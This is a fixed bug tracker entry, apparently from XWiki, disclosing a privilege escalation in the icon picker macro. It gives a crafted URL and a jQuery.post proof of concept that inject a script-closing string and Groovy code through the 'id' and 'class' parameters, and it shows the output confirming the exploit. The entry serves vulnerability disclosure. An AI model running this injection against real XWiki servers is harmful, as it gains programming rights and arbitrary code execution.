Details
-
Bug
-
Resolution: Fixed
-
Blocker
-
6.4-milestone-2
-
Unknown
-
N/A
-
N/A
-
Description
Steps to reproduce
Go to the URL
<server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%252F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7B%7BiconPicker%20id%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerId%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%20class%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerClass%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%2F%7D%7D
where <server> is your XWiki installation URL.
Expected result
Nothing is visible as everything is hidden in a <script>-tag.
Actual result
HellofromIconPickerId').xwikiIconPicker(options);
$('.'</script>{{/html}}HellofromIconPickerClass').xwikiIconPicker(options);
});
</script>
{{/html}}
This demonstrates a privilege escalation from view rights on the icon picker macro, CKEditor and the Main page to programming rights through the "id" and "class"-parameters.
As the code that prints the parameter has been unchanged since the introduction as part of XWIKI-11388 this is exploitable since XWiki 6.4-milestone-2.
Reproduction steps on XWiki 6.4-milestone-2:
Run
jQuery.post('http://localhost:8080/xwiki/bin/view/Main/?xpage=wysiwyginput', {source: '{{iconPicker id="\\\'</script>{{/html}}{{cache}}{{groovy}}println(/HellofromIconPickerId/){{/groovy}}{{/cache}}" class="\\\'</script>{{/html}}{{cache}}{{groovy}}println(/HellofromIconPickerClass/){{/groovy}}{{/cache}}"/}}', token: document.documentElement.dataset.xwikiFormToken}, console.log)
in the console of the browser's developer tools (replace localhost:8080 by the server's URL).
Check for the output
$('#\'</script><p>HellofromIconPickerId</p>').xwikiIconPicker(options);<br/>$('.\'</script>{{/html}}<p>HellofromIconPickerClass</p>').xwikiIconPicker(options);<br/>});<br/></script><br/>{{/html}}</p>
Attachments
Issue Links
- causes
-
-
- Closed
-
-
-
- Closed
-
- is caused by
-
XWIKI-11388 Create an icon picker that lists all available icons
-
- Closed
-
- links to